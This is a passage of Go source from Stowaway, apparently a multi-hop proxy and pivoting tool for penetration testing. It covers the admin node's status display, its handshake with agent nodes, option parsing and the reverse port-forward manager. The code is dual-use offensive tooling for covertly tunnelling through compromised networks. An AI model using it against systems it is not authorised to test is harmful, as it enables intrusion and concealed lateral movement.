91 | 	}
92 | }
93 | 


--------------------------------------------------------------------------------
/admin/handler/status.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"Stowaway/admin/manager"
 5 | 	"fmt"
 6 | )
 7 | 
 8 | func ShowStatus(mgr *manager.Manager, uuid string) {
 9 | 	forwardTask := &manager.ForwardTask{
10 | 		Mode: manager.F_GETFORWARDINFO,
11 | 		UUID: uuid,
12 | 	}
13 | 	mgr.ForwardManager.TaskChan <- forwardTask
14 | 	forwardResult := <-mgr.ForwardManager.ResultChan
15 | 
16 | 	backwardTask := &manager.BackwardTask{
17 | 		Mode: manager.B_GETBACKWARDINFO,
18 | 		UUID: uuid,
19 | 	}
20 | 	mgr.BackwardManager.TaskChan <- backwardTask
21 | 	backwardResult := <-mgr.BackwardManager.ResultChan
22 | 
23 | 	socksTask := &manager.SocksTask{
24 | 		Mode: manager.S_GETSOCKSINFO,
25 | 		UUID: uuid,
26 | 	}
27 | 	mgr.SocksManager.TaskChan <- socksTask
28 | 	socksResult := <-mgr.SocksManager.ResultChan
29 | 	// show socks
30 | 	fmt.Print("\r\nSocks status:")
31 | 	if socksResult.OK {
32 | 		fmt.Printf(
33 | 			"\r\n      ListenAddr: %s:%s    Username: %s   Password: %s",
34 | 			socksResult.SocksInfo.Addr,
35 | 			socksResult.SocksInfo.Port,
36 | 			socksResult.SocksInfo.Username,
37 | 			socksResult.SocksInfo.Password,
38 | 		)
39 | 	}
40 | 	fmt.Print("\r\n-------------------------------------------------------------------------------------------")
41 | 	// show forward
42 | 	fmt.Print("\r\nForward status:")
43 | 	if forwardResult.OK {
44 | 		for _, info := range forwardResult.ForwardInfo {
45 | 			fmt.Printf(
46 | 				"\r\n      [%d] Listening Addr: %s , Remote Addr: %s , Active Connnections: %d",
47 | 				info.Seq,
48 | 				info.Laddr,
49 | 				info.Raddr,
50 | 				info.ActiveNum,
51 | 			)
52 | 		}
53 | 	}
54 | 	fmt.Print("\r\n-------------------------------------------------------------------------------------------")
55 | 	// show backward
56 | 	fmt.Print("\r\nBackward status:")
57 | 	if backwardResult.OK {
58 | 		for _, info := range backwardResult.BackwardInfo {
59 | 			fmt.Printf(
60 | 				"\r\n      [%d] Remote Port: %s , Local Port: %s , Active Connnections: %d",
61 | 				info.Seq,
62 | 				info.RPort,
63 | 				info.LPort,
64 | 				info.ActiveNum,
65 | 			)
66 | 		}
67 | 	}
68 | }
69 | 


--------------------------------------------------------------------------------
/admin/initial/method.go:
--------------------------------------------------------------------------------
  1 | package initial
  2 | 
  3 | import (
  4 | 	"crypto/tls"
  5 | 	"net"
  6 | 	"os"
  7 | 
  8 | 	"Stowaway/admin/printer"
  9 | 	"Stowaway/admin/topology"
 10 | 	"Stowaway/protocol"
 11 | 	"Stowaway/share"
 12 | 	"Stowaway/share/transport"
 13 | 	"Stowaway/utils"
 14 | )
 15 | 
 16 | func dispatchUUID(conn net.Conn, secret string) string {
 17 | 	var sMessage protocol.Message
 18 | 
 19 | 	uuid := utils.GenerateUUID()
 20 | 	uuidMess := &protocol.UUIDMess{
 21 | 		UUIDLen: uint16(len(uuid)),
 22 | 		UUID:    uuid,
 23 | 	}
 24 | 
 25 | 	header := &protocol.Header{
 26 | 		Sender:      protocol.ADMIN_UUID,
 27 | 		Accepter:    protocol.TEMP_UUID,
 28 | 		MessageType: protocol.UUID,
 29 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
 30 | 		Route:       protocol.TEMP_ROUTE,
 31 | 	}
 32 | 
 33 | 	sMessage = protocol.NewDownMsg(conn, secret, protocol.ADMIN_UUID)
 34 | 
 35 | 	protocol.ConstructMessage(sMessage, header, uuidMess, false)
 36 | 	sMessage.SendMessage()
 37 | 
 38 | 	return uuid
 39 | }
 40 | 
 41 | func NormalActive(userOptions *Options, topo *topology.Topology, proxy share.Proxy) net.Conn {
 42 | 
 43 | 	var sMessage, rMessage protocol.Message
 44 | 
 45 | 	hiMess := &protocol.HIMess{
 46 | 		GreetingLen: uint16(len("Shhh...")),
 47 | 		Greeting:    "Shhh...",
 48 | 		UUIDLen:     uint16(len(protocol.ADMIN_UUID)),
 49 | 		UUID:        protocol.ADMIN_UUID,
 50 | 		IsAdmin:     1,
 51 | 		IsReconnect: 0,
 52 | 	}
 53 | 
 54 | 	header := &protocol.Header{
 55 | 		Sender:      protocol.ADMIN_UUID,
 56 | 		Accepter:    protocol.TEMP_UUID,
 57 | 		MessageType: protocol.HI,
 58 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
 59 | 		Route:       protocol.TEMP_ROUTE,
 60 | 	}
 61 | 
 62 | 	for {
 63 | 		var (
 64 | 			conn net.Conn
 65 | 			err  error
 66 | 		)
 67 | 
 68 | 		if proxy == nil {
 69 | 			conn, err = net.Dial("tcp", userOptions.Connect)
 70 | 		} else {
 71 | 			conn, err = proxy.Dial()
 72 | 		}
 73 | 
 74 | 		if err != nil {
 75 | 			printer.Fail("[*] Error occurred: %s", err.Error())
 76 | 			os.Exit(0)
 77 | 		}
 78 | 
 79 | 		if userOptions.TlsEnable {
 80 | 			var tlsConfig *tls.Config
 81 | 			tlsConfig, err = transport.NewClientTLSConfig(userOptions.Domain)
 82 | 			if err != nil {
 83 | 				printer.Fail("[*] Error occured: %s", err.Error())
 84 | 				conn.Close()
 85 | 				continue
 86 | 			}
 87 | 			conn = transport.WrapTLSClientConn(conn, tlsConfig)
 88 | 			// As we have already used TLS, we don't need to use aes inside
 89 | 			// Set userOptions.Secret as null to disable aes
 90 | 			userOptions.Secret = ""
 91 | 		}
 92 | 
 93 | 		param := new(protocol.NegParam)
 94 | 		param.Conn = conn
 95 | 		param.Domain = userOptions.Domain
 96 | 		proto := protocol.NewDownProto(param)
 97 | 		proto.CNegotiate()
 98 | 
 99 | 		if err := share.ActivePreAuth(conn); err != nil {
100 | 			printer.Fail("[*] Error occurred: %s", err.Error())
101 | 			os.Exit(0)
102 | 		}
103 | 
104 | 		sMessage = protocol.NewDownMsg(conn, userOptions.Secret, protocol.ADMIN_UUID)
105 | 
106 | 		protocol.ConstructMessage(sMessage, header, hiMess, false)
107 | 		sMessage.SendMessage()
108 | 
109 | 		rMessage = protocol.NewDownMsg(conn, userOptions.Secret, protocol.ADMIN_UUID)
110 | 		fHeader, fMessage, err := protocol.DestructMessage(rMessage)
111 | 
112 | 		if err != nil {
113 | 			conn.Close()
114 | 			printer.Fail("[*] Fail to connect node %s, Error: %s", conn.RemoteAddr().String(), err.Error())
115 | 			os.Exit(0)
116 | 		}
117 | 
118 | 		if fHeader.MessageType == protocol.HI {
119 | 			mmess := fMessage.(*protocol.HIMess)
120 | 			if mmess.Greeting == "Keep slient" && mmess.IsAdmin == 0 {
121 | 				if mmess.IsReconnect == 0 {
122 | 					node := topology.NewNode(dispatchUUID(conn, userOptions.Secret), conn.RemoteAddr().String())
123 | 					task := &topology.TopoTask{
124 | 						Mode:       topology.ADDNODE,
125 | 						Target:     node,
126 | 						ParentUUID: protocol.TEMP_UUID,
127 | 						IsFirst:    true,
128 | 					}
129 | 					topo.TaskChan <- task
130 | 
131 | 					<-topo.ResultChan
132 | 
133 | 					printer.Success("[*] Connect to node %s successfully! Node id is 0\r\n", conn.RemoteAddr().String())
134 | 					return conn
135 | 				} else {
136 | 					node := topology.NewNode(mmess.UUID, conn.RemoteAddr().String())
137 | 					task := &topology.TopoTask{
138 | 						Mode:       topology.ADDNODE,
139 | 						Target:     node,
140 | 						ParentUUID: protocol.TEMP_UUID,
141 | 						IsFirst:    true,
142 | 					}
143 | 					topo.TaskChan <- task
144 | 
145 | 					<-topo.ResultChan
146 | 
147 | 					printer.Success("[*] Connect to node %s successfully! Node id is 0\r\n", conn.RemoteAddr().String())
148 | 					return conn
149 | 				}
150 | 			}
151 | 		}
152 | 
153 | 		conn.Close()
154 | 		printer.Fail("[*] Target node seems illegal!\n")
155 | 	}
156 | }
157 | 
158 | func NormalPassive(userOptions *Options, topo *topology.Topology) net.Conn {
159 | 	listenAddr, _, err := utils.CheckIPPort(userOptions.Listen)
160 | 	if err != nil {
161 | 		printer.Fail("[*] Error occurred: %s", err.Error())
162 | 		os.Exit(0)
163 | 	}
164 | 
165 | 	listener, err := net.Listen("tcp", listenAddr)
166 | 	if err != nil {
167 | 		printer.Fail("[*] Error occurred: %s", err.Error())
168 | 		os.Exit(0)
169 | 	}
170 | 
171 | 	defer func() {
172 | 		listener.Close() // don't forget close the listener
173 | 	}()
174 | 
175 | 	var sMessage, rMessage protocol.Message
176 | 
177 | 	// just say hi!
178 | 	hiMess := &protocol.HIMess{
179 | 		GreetingLen: uint16(len("Keep slient")),
180 | 		Greeting:    "Keep slient",
181 | 		UUIDLen:     uint16(len(protocol.ADMIN_UUID)),
182 | 		UUID:        protocol.ADMIN_UUID,
183 | 		IsAdmin:     1,
184 | 		IsReconnect: 0,
185 | 	}
186 | 
187 | 	header := &protocol.Header{
188 | 		Sender:      protocol.ADMIN_UUID,
189 | 		Accepter:    protocol.TEMP_UUID,
190 | 		MessageType: protocol.HI,
191 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
192 | 		Route:       protocol.TEMP_ROUTE,
193 | 	}
194 | 
195 | 	for {
196 | 		conn, err := listener.Accept()
197 | 		if err != nil {
198 | 			printer.Fail("[*] Error occurred: %s\r\n", err.Error())
199 | 			continue
200 | 		}
201 | 
202 | 		if userOptions.TlsEnable {
203 | 			var tlsConfig *tls.Config
204 | 			tlsConfig, err = transport.NewServerTLSConfig()
205 | 			if err != nil {
206 | 				printer.Fail("[*] Error occured: %s", err.Error())
207 | 				conn.Close()
208 | 				continue
209 | 			}
210 | 			conn = transport.WrapTLSServerConn(conn, tlsConfig)
211 | 			// As we have already used TLS, we don't need to use aes inside
212 | 			// Set userOptions.Secret as null to disable aes
213 | 			userOptions.Secret = ""
214 | 		}
215 | 
216 | 		param := new(protocol.NegParam)
217 | 		param.Conn = conn
218 | 		proto := protocol.NewDownProto(param)
219 | 		proto.SNegotiate()
220 | 
221 | 		if err := share.PassivePreAuth(conn); err != nil {
222 | 			printer.Fail("[*] Error occurred: %s\r\n", err.Error())
223 | 			conn.Close()
224 | 			continue
225 | 		}
226 | 
227 | 		rMessage = protocol.NewDownMsg(conn, userOptions.Secret, protocol.ADMIN_UUID)
228 | 		fHeader, fMessage, err := protocol.DestructMessage(rMessage)
229 | 
230 | 		if err != nil {
231 | 			printer.Fail("[*] Fail to set connection from %s, Error: %s\r\n", conn.RemoteAddr().String(), err.Error())
232 | 			conn.Close()
233 | 			continue
234 | 		}
235 | 
236 | 		if fHeader.MessageType == protocol.HI {
237 | 			mmess := fMessage.(*protocol.HIMess)
238 | 			if mmess.Greeting == "Shhh..." && mmess.IsAdmin == 0 {
239 | 				sMessage = protocol.NewDownMsg(conn, userOptions.Secret, protocol.ADMIN_UUID)
240 | 				protocol.ConstructMessage(sMessage, header, hiMess, false)
241 | 				sMessage.SendMessage()
242 | 
243 | 				if mmess.IsReconnect == 0 {
244 | 					node := topology.NewNode(dispatchUUID(conn, userOptions.Secret), conn.RemoteAddr().String())
245 | 					task := &topology.TopoTask{
246 | 						Mode:       topology.ADDNODE,
247 | 						Target:     node,
248 | 						ParentUUID: protocol.TEMP_UUID,
249 | 						IsFirst:    true,
250 | 					}
251 | 					topo.TaskChan <- task
252 | 
253 | 					<-topo.ResultChan
254 | 
255 | 					printer.Success("[*] Connection from node %s is set up successfully! Node id is 0\r\n", conn.RemoteAddr().String())
256 | 				} else {
257 | 					node := topology.NewNode(mmess.UUID, conn.RemoteAddr().String())
258 | 					task := &topology.TopoTask{
259 | 						Mode:       topology.ADDNODE,
260 | 						Target:     node,
261 | 						ParentUUID: protocol.TEMP_UUID,
262 | 						IsFirst:    true,
263 | 					}
264 | 					topo.TaskChan <- task
265 | 
266 | 					<-topo.ResultChan
267 | 
268 | 					printer.Success("[*] Connection from node %s is set up successfully! Node id is 0\r\n", conn.RemoteAddr().String())
269 | 				}
270 | 
271 | 				return conn
272 | 			}
273 | 		}
274 | 
275 | 		conn.Close()
276 | 		printer.Fail("[*] Incoming connection seems illegal!")
277 | 	}
278 | }
279 | 


--------------------------------------------------------------------------------
/admin/initial/parser.go:
--------------------------------------------------------------------------------
  1 | //go:build !windows
  2 | 
  3 | package initial
  4 | 
  5 | import (
  6 | 	"flag"
  7 | 	"fmt"
  8 | 	"net"
  9 | 	"os"
 10 | 	"strings"
 11 | 
 12 | 	"Stowaway/admin/printer"
 13 | 
 14 | 	"github.com/nsf/termbox-go"
 15 | )
 16 | 
 17 | const (
 18 | 	NORMAL_ACTIVE = iota
 19 | 	NORMAL_PASSIVE
 20 | 	SOCKS5_PROXY_ACTIVE
 21 | 	HTTP_PROXY_ACTIVE
 22 | )
 23 | 
 24 | type Options struct {
 25 | 	Mode         uint8
 26 | 	Secret       string
 27 | 	Listen       string
 28 | 	Connect      string
 29 | 	Socks5Proxy  string
 30 | 	Socks5ProxyU string
 31 | 	Socks5ProxyP string
 32 | 	HttpProxy    string
 33 | 	Downstream   string
 34 | 	Domain       string
 35 | 	TlsEnable    bool
 36 | 	Heartbeat    bool
 37 | }
 38 | 
 39 | var args *Options
 40 | 
 41 | func init() {
 42 | 	args = new(Options)
 43 | 
 44 | 	flag.StringVar(&args.Secret, "s", "", "Communication secret")
 45 | 	flag.StringVar(&args.Listen, "l", "", "Listen port")
 46 | 	flag.StringVar(&args.Connect, "c", "", "The node address when you actively connect to it")
 47 | 	flag.StringVar(&args.Socks5Proxy, "socks5-proxy", "", "The socks5 server ip:port you want to use")
 48 | 	flag.StringVar(&args.Socks5ProxyU, "socks5-proxyu", "", "socks5 username")
 49 | 	flag.StringVar(&args.Socks5ProxyP, "socks5-proxyp", "", "socks5 password")
 50 | 	flag.StringVar(&args.HttpProxy, "http-proxy", "", "The http proxy server ip:port you want to use")
 51 | 	flag.StringVar(&args.Downstream, "down", "raw", "Downstream data type you want to use")
 52 | 	flag.StringVar(&args.Domain, "domain", "", "Domain name for TLS SNI/WS")
 53 | 	flag.BoolVar(&args.TlsEnable, "tls-enable", false, "Encrypt connection by TLS")
 54 | 	flag.BoolVar(&args.Heartbeat, "heartbeat", false, "Send heartbeat packet to first agent")
 55 | 
 56 | 	flag.Usage = newUsage
 57 | }
 58 | 
 59 | func newUsage() {
 60 | 	termbox.Close()
 61 | 
 62 | 	fmt.Fprintf(os.Stderr, `
 63 | Usages:
 64 | 	>> ./stowaway_admin -l <port> -s [secret]
 65 | 	>> ./stowaway_admin -c <ip:port> -s [secret] 
 66 | 	>> ./stowaway_admin -c <ip:port> -s [secret] --socks5-proxy <ip:port> --socks5-proxyu [username] --socks5-proxyp [password]
 67 | `)
 68 | 	flag.PrintDefaults()
 69 | }
 70 | 
 71 | // ParseOptions Parsing user's options
 72 | func ParseOptions() *Options {
 73 | 	flag.Parse()
 74 | 
 75 | 	if args.Listen != "" && args.Connect == "" && args.Socks5Proxy == "" && args.HttpProxy == "" { // ./stowaway_admin -l <port> -s [secret]
 76 | 		args.Mode = NORMAL_PASSIVE
 77 | 		printer.Warning("[*] Starting admin node on port %s\r\n", args.Listen)
 78 | 	} else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy == "" && args.HttpProxy == "" { // ./stowaway_admin -c <ip:port> -s [secret]
 79 | 		args.Mode = NORMAL_ACTIVE
 80 | 		printer.Warning("[*] Trying to connect node actively")
 81 | 	} else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy != "" && args.HttpProxy == "" { // ./stowaway_admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password]
 82 | 		args.Mode = SOCKS5_PROXY_ACTIVE
 83 | 		printer.Warning("[*] Trying to connect node actively via socks5 proxy %s\r\n", args.Socks5Proxy)
 84 | 	} else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy == "" && args.HttpProxy != "" {
 85 | 		args.Mode = HTTP_PROXY_ACTIVE
 86 | 		printer.Warning("[*] Trying to connect node actively via http proxy %s\r\n", args.HttpProxy)
 87 | 	} else { // Wrong format
 88 | 		flag.Usage()
 89 | 		os.Exit(0)
 90 | 	}
 91 | 
 92 | 	if args.Domain == "" && args.Connect != "" {
 93 | 		addrSlice := strings.SplitN(args.Connect, ":", 2)
 94 | 		args.Domain = addrSlice[0]
 95 | 	}
 96 | 
 97 | 	if err := checkOptions(args); err != nil {
 98 | 		termbox.Close()
 99 | 		printer.Fail("[*] Options err: %s\r\n", err.Error())
100 | 		os.Exit(0)
101 | 	}
102 | 
103 | 	return args
104 | }
105 | 
106 | func checkOptions(option *Options) error {
107 | 	var err error
108 | 
109 | 	if args.Connect != "" {
110 | 		_, err = net.ResolveTCPAddr("", option.Connect)
111 | 	}
112 | 
113 | 	if args.Socks5Proxy != "" {
114 | 		_, err = net.ResolveTCPAddr("", option.Socks5Proxy)
115 | 	}
116 | 
117 | 	if args.HttpProxy != "" {
118 | 		_, err = net.ResolveTCPAddr("", option.HttpProxy)
119 | 	}
120 | 
121 | 	return err
122 | }
123 | 


--------------------------------------------------------------------------------
/admin/initial/parser_win.go:
--------------------------------------------------------------------------------
  1 | //go:build windows
  2 | 
  3 | package initial
  4 | 
  5 | import (
  6 | 	"flag"
  7 | 	"fmt"
  8 | 	"net"
  9 | 	"os"
 10 | 	"strings"
 11 | 
 12 | 	"Stowaway/admin/printer"
 13 | )
 14 | 
 15 | const (
 16 | 	NORMAL_ACTIVE = iota
 17 | 	NORMAL_PASSIVE
 18 | 	SOCKS5_PROXY_ACTIVE
 19 | 	HTTP_PROXY_ACTIVE
 20 | )
 21 | 
 22 | type Options struct {
 23 | 	Mode         uint8
 24 | 	Secret       string
 25 | 	Listen       string
 26 | 	Connect      string
 27 | 	Socks5Proxy  string
 28 | 	Socks5ProxyU string
 29 | 	Socks5ProxyP string
 30 | 	HttpProxy    string
 31 | 	Downstream   string
 32 | 	Domain       string
 33 | 	TlsEnable    bool
 34 | 	Heartbeat    bool
 35 | }
 36 | 
 37 | var args *Options
 38 | 
 39 | func init() {
 40 | 	args = new(Options)
 41 | 
 42 | 	flag.StringVar(&args.Secret, "s", "", "Communication secret")
 43 | 	flag.StringVar(&args.Listen, "l", "", "Listen port")
 44 | 	flag.StringVar(&args.Connect, "c", "", "The node address when you actively connect to it")
 45 | 	flag.StringVar(&args.Socks5Proxy, "socks5-proxy", "", "The socks5 server ip:port you want to use")
 46 | 	flag.StringVar(&args.Socks5ProxyU, "socks5-proxyu", "", "socks5 username")
 47 | 	flag.StringVar(&args.Socks5ProxyP, "socks5-proxyp", "", "socks5 password")
 48 | 	flag.StringVar(&args.HttpProxy, "http-proxy", "", "The http proxy server ip:port you want to use")
 49 | 	flag.StringVar(&args.Downstream, "down", "raw", "Downstream data type you want to use")
 50 | 	flag.StringVar(&args.Domain, "domain", "", "Domain name for TLS SNI/WS")
 51 | 	flag.BoolVar(&args.TlsEnable, "tls-enable", false, "Encrypt connection by TLS")
 52 | 	flag.BoolVar(&args.Heartbeat, "heartbeat", false, "Send heartbeat packet to first agent")
 53 | 
 54 | 	flag.Usage = newUsage
 55 | }
 56 | 
 57 | func newUsage() {
 58 | 	fmt.Fprintf(os.Stderr, `
 59 | Usages:
 60 | 	>> ./stowaway_admin -l <port> -s [secret]
 61 | 	>> ./stowaway_admin -c <ip:port> -s [secret] 
 62 | 	>> ./stowaway_admin -c <ip:port> -s [secret] --socks5-proxy <ip:port> --socks5-proxyu [username] --socks5-proxyp [password]
 63 | `)
 64 | 	flag.PrintDefaults()
 65 | }
 66 | 
 67 | // ParseOptions Parsing user's options
 68 | func ParseOptions() *Options {
 69 | 	flag.Parse()
 70 | 
 71 | 	if args.Listen != "" && args.Connect == "" && args.Socks5Proxy == "" && args.HttpProxy == "" { // ./stowaway_admin -l <port> -s [secret]
 72 | 		args.Mode = NORMAL_PASSIVE
 73 | 		printer.Warning("[*] Starting admin node on port %s\r\n", args.Listen)
 74 | 	} else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy == "" && args.HttpProxy == "" { // ./stowaway_admin -c <ip:port> -s [secret]
 75 | 		args.Mode = NORMAL_ACTIVE
 76 | 		printer.Warning("[*] Trying to connect node actively")
 77 | 	} else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy != "" && args.HttpProxy == "" { // ./stowaway_admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password]
 78 | 		args.Mode = SOCKS5_PROXY_ACTIVE
 79 | 		printer.Warning("[*] Trying to connect node actively via socks5 proxy %s\r\n", args.Socks5Proxy)
 80 | 	} else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy == "" && args.HttpProxy != "" {
 81 | 		args.Mode = HTTP_PROXY_ACTIVE
 82 | 		printer.Warning("[*] Trying to connect node actively via http proxy %s\r\n", args.HttpProxy)
 83 | 	} else { // Wrong format
 84 | 		flag.Usage()
 85 | 		os.Exit(0)
 86 | 	}
 87 | 
 88 | 	if args.Domain == "" && args.Connect != "" {
 89 | 		addrSlice := strings.SplitN(args.Connect, ":", 2)
 90 | 		args.Domain = addrSlice[0]
 91 | 	}
 92 | 
 93 | 	if err := checkOptions(args); err != nil {
 94 | 		printer.Fail("[*] Options err: %s\r\n", err.Error())
 95 | 		os.Exit(0)
 96 | 	}
 97 | 
 98 | 	return args
 99 | }
100 | 
101 | func checkOptions(option *Options) error {
102 | 	var err error
103 | 
104 | 	if args.Connect != "" {
105 | 		_, err = net.ResolveTCPAddr("", option.Connect)
106 | 	}
107 | 
108 | 	if args.Socks5Proxy != "" {
109 | 		_, err = net.ResolveTCPAddr("", option.Socks5Proxy)
110 | 	}
111 | 
112 | 	if args.HttpProxy != "" {
113 | 		_, err = net.ResolveTCPAddr("", option.HttpProxy)
114 | 	}
115 | 
116 | 	return err
117 | }
118 | 


--------------------------------------------------------------------------------
/admin/manager/backward.go:
--------------------------------------------------------------------------------
  1 | package manager
  2 | 
  3 | const (
  4 | 	B_NEWBACKWARD = iota
  5 | 	B_GETNEWSEQ
  6 | 	B_ADDCONN
  7 | 	B_CHECKBACKWARD
  8 | 	B_GETDATACHAN
  9 | 	B_GETDATACHAN_WITHOUTUUID
 10 | 	B_CLOSETCP
 11 | 	B_GETBACKWARDINFO
 12 | 	B_GETSTOPRPORT
 13 | 	B_CLOSESINGLE
 14 | 	B_CLOSESINGLEALL
 15 | 	B_FORCESHUTDOWN
 16 | )
 17 | 
 18 | type backwardManager struct {
 19 | 	backwardSeq      uint64
 20 | 	backwardSeqMap   map[uint64]*bwSeqRelationship   // map[seq](port+uuid) just for accelerate the speed of searching detail only by seq
 21 | 	backwardMap      map[string]map[string]*backward // map[uuid][rport]backward status
 22 | 	backwardReadyDel map[int]string
 23 | 
 24 | 	BackwardMessChan chan interface{}
 25 | 	BackwardReady    chan bool
 26 | 
 27 | 	TaskChan   chan *BackwardTask
 28 | 	ResultChan chan *backwardResult
 29 | }
 30 | 
 31 | type BackwardTask struct {
 32 | 	Mode int
 33 | 	UUID string // node uuid
 34 | 	Seq  uint64 // seq
 35 | 
 36 | 	LPort  string
 37 | 	RPort  string
 38 | 	Choice int
 39 | }
 40 | 
 41 | type backwardResult struct {
 42 | 	OK bool
 43 | 
 44 | 	DataChan     chan []byte
 45 | 	BackwardSeq  uint64
 46 | 	BackwardInfo []*backwardInfo
 47 | 	RPort        string
 48 | }
 49 | 
 50 | type backward struct {
 51 | 	localPort string
 52 | 
 53 | 	backwardStatusMap map[uint64]*backwardStatus
 54 | }
 55 | 
 56 | type backwardStatus struct {
 57 | 	dataChan chan []byte
 58 | }
 59 | 
 60 | type bwSeqRelationship struct {
 61 | 	uuid  string
 62 | 	rPort string
 63 | }
 64 | 
 65 | type backwardInfo struct {
 66 | 	Seq       int
 67 | 	LPort     string
 68 | 	RPort     string
 69 | 	ActiveNum int
 70 | }
 71 | 
 72 | func newBackwardManager() *backwardManager {
 73 | 	manager := new(backwardManager)
 74 | 
 75 | 	manager.backwardMap = make(map[string]map[string]*backward)
 76 | 	manager.backwardSeqMap = make(map[uint64]*bwSeqRelationship)
 77 | 	manager.BackwardMessChan = make(chan interface{}, 5)
 78 | 
 79 | 	manager.BackwardReady = make(chan bool)
 80 | 	manager.TaskChan = make(chan *BackwardTask)
 81 | 	manager.ResultChan = make(chan *backwardResult)
 82 | 
 83 | 	return manager
 84 | }
 85 | 
 86 | func (manager *backwardManager) run() {
 87 | 	for {
 88 | 		task := <-manager.TaskChan
 89 | 
 90 | 		switch task.Mode {
 91 | 		case B_NEWBACKWARD:
 92 | 			manager.newBackward(task)
 93 | 		case B_GETNEWSEQ:
 94 | 			manager.getNewSeq(task)
 95 | 		case B_ADDCONN:
 96 | 			manager.addConn(task)
 97 | 		case B_CHECKBACKWARD:
 98 | 			manager.checkBackward(task)
 99 | 		case B_GETDATACHAN:
100 | 			manager.getDataChan(task)
101 | 		case B_GETDATACHAN_WITHOUTUUID:
102 | 			manager.getDatachanWithoutUUID(task)
103 | 		case B_CLOSETCP:
104 | 			manager.closeTCP(task)
105 | 		case B_GETBACKWARDINFO:
106 | 			manager.getBackwardInfo(task)
107 | 		case B_GETSTOPRPORT:
108 | 			manager.getStopRPort(task)
109 | 		case B_CLOSESINGLE:
110 | 			manager.closeSingle(task)
111 | 		case B_CLOSESINGLEALL:
112 | 			manager.closeSingleAll(task)
113 | 		case B_FORCESHUTDOWN:
114 | 			manager.forceShutdown(task)
115 | 		}
116 | 	}
117 | }
118 | 
119 | // register a brand new backforward
120 | // 2022.7.19 Fix nil pointer bug,thx to @zyylhn
121 | func (manager *backwardManager) newBackward(task *BackwardTask) {
122 | 	if _, ok := manager.backwardMap[task.UUID]; !ok {
123 | 		manager.backwardMap[task.UUID] = make(map[string]*backward)
124 | 	}
125 | 
126 | 	manager.backwardMap[task.UUID][task.RPort] = new(backward)
127 | 	manager.backwardMap[task.UUID][task.RPort].localPort = task.LPort
128 | 	manager.backwardMap[task.UUID][task.RPort].backwardStatusMap = make(map[uint64]*backwardStatus)
129 | 
130 | 	manager.ResultChan <- &backwardResult{OK: true}
131 | }
132 | 
133 | func (manager *backwardManager) getNewSeq(task *BackwardTask) {
134 | 	manager.backwardSeqMap[manager.backwardSeq] = &bwSeqRelationship{rPort: task.RPort, uuid: task.UUID}
135 | 	manager.ResultChan <- &backwardResult{BackwardSeq: manager.backwardSeq}
136 | 	manager.backwardSeq++
137 | }
138 | 
139 | func (manager *backwardManager) addConn(task *BackwardTask) {
140 | 	if _, ok := manager.backwardSeqMap[task.Seq]; !ok {
141 | 		manager.ResultChan <- &backwardResult{OK: false}
142 | 		return
143 | 	}
144 | 
145 | 	manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq] = new(backwardStatus)
146 | 	manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq].dataChan = make(chan []byte, 5)
147 | 	manager.ResultChan <- &backwardResult{OK: true}
148 | }
149 | 
150 | func (manager *backwardManager) checkBackward(task *BackwardTask) {
151 | 	if _, ok := manager.backwardSeqMap[task.Seq]; !ok {
152 | 		manager.ResultChan <- &backwardResult{OK: false}
153 | 		return
154 | 	}
155 | 
156 | 	if _, ok := manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq]; ok {
157 | 		manager.ResultChan <- &backwardResult{OK: true}
158 | 	} else {
159 | 		manager.ResultChan <- &backwardResult{OK: false}
160 | 	}
161 | 
162 | }
163 | 
164 | func (manager *backwardManager) getDataChan(task *BackwardTask) {
165 | 	if _, ok := manager.backwardSeqMap[task.Seq]; !ok {
166 | 		manager.ResultChan <- &backwardResult{OK: false}
167 | 		return
168 | 	}
169 | 
170 | 	if _, ok := manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq]; ok {
171 | 		manager.ResultChan <- &backwardResult{
172 | 			OK:       true,
173 | 			DataChan: manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq].dataChan,
174 | 		}
175 | 	} else {
176 | 		manager.ResultChan <- &backwardResult{OK: false}
177 | 	}
178 | 
179 | }
180 | 
181 | func (manager *backwardManager) getDatachanWithoutUUID(task *BackwardTask) {
182 | 	if _, ok := manager.backwardSeqMap[task.Seq]; !ok {
183 | 		manager.ResultChan <- &backwardResult{OK: false}
184 | 		return
185 | 	}
186 | 
187 | 	uuid := manager.backwardSeqMap[task.Seq].uuid
188 | 	rPort := manager.backwardSeqMap[task.Seq].rPort
189 | 
190 | 	manager.ResultChan <- &backwardResult{
191 | 		OK:       true,
192 | 		DataChan: manager.backwardMap[uuid][rPort].backwardStatusMap[task.Seq].dataChan,
193 | 	}
194 | }
195 | 
196 | func (manager *backwardManager) closeTCP(task *BackwardTask) {
197 | 	if _, ok := manager.backwardSeqMap[task.Seq]; !ok {
198 | 		return
199 | 	}
200 | 
201 | 	uuid := manager.backwardSeqMap[task.Seq].uuid
202 | 	rPort := manager.backwardSeqMap[task.Seq].rPort
203 | 
204 | 	close(manager.backwardMap[uuid][rPort].backwardStatusMap[task.Seq].dataChan)
205 | 
206 | 	delete(manager.backwardMap[uuid][rPort].backwardStatusMap, task.Seq)
207 | }
208 | 
209 | func (manager *backwardManager) getBackwardInfo(task *BackwardTask) {
210 | 	manager.backwardReadyDel = make(map[int]string)
211 | 
212 | 	var result []*backwardInfo
213 | 	seq := 1
214 | 
215 | 	if _, ok := manager.backwardMap[task.UUID]; ok {
216 | 		for port, info := range manager.backwardMap[task.UUID] {
217 | 			manager.backwardReadyDel[seq] = port
218 | 			result = append(result, &backwardInfo{Seq: seq, LPort: info.localPort, RPort: port, ActiveNum: len(info.backwardStatusMap)})
219 | 			seq++
220 | 		}
221 | 		manager.ResultChan <- &backwardResult{
222 | 			OK:           true,
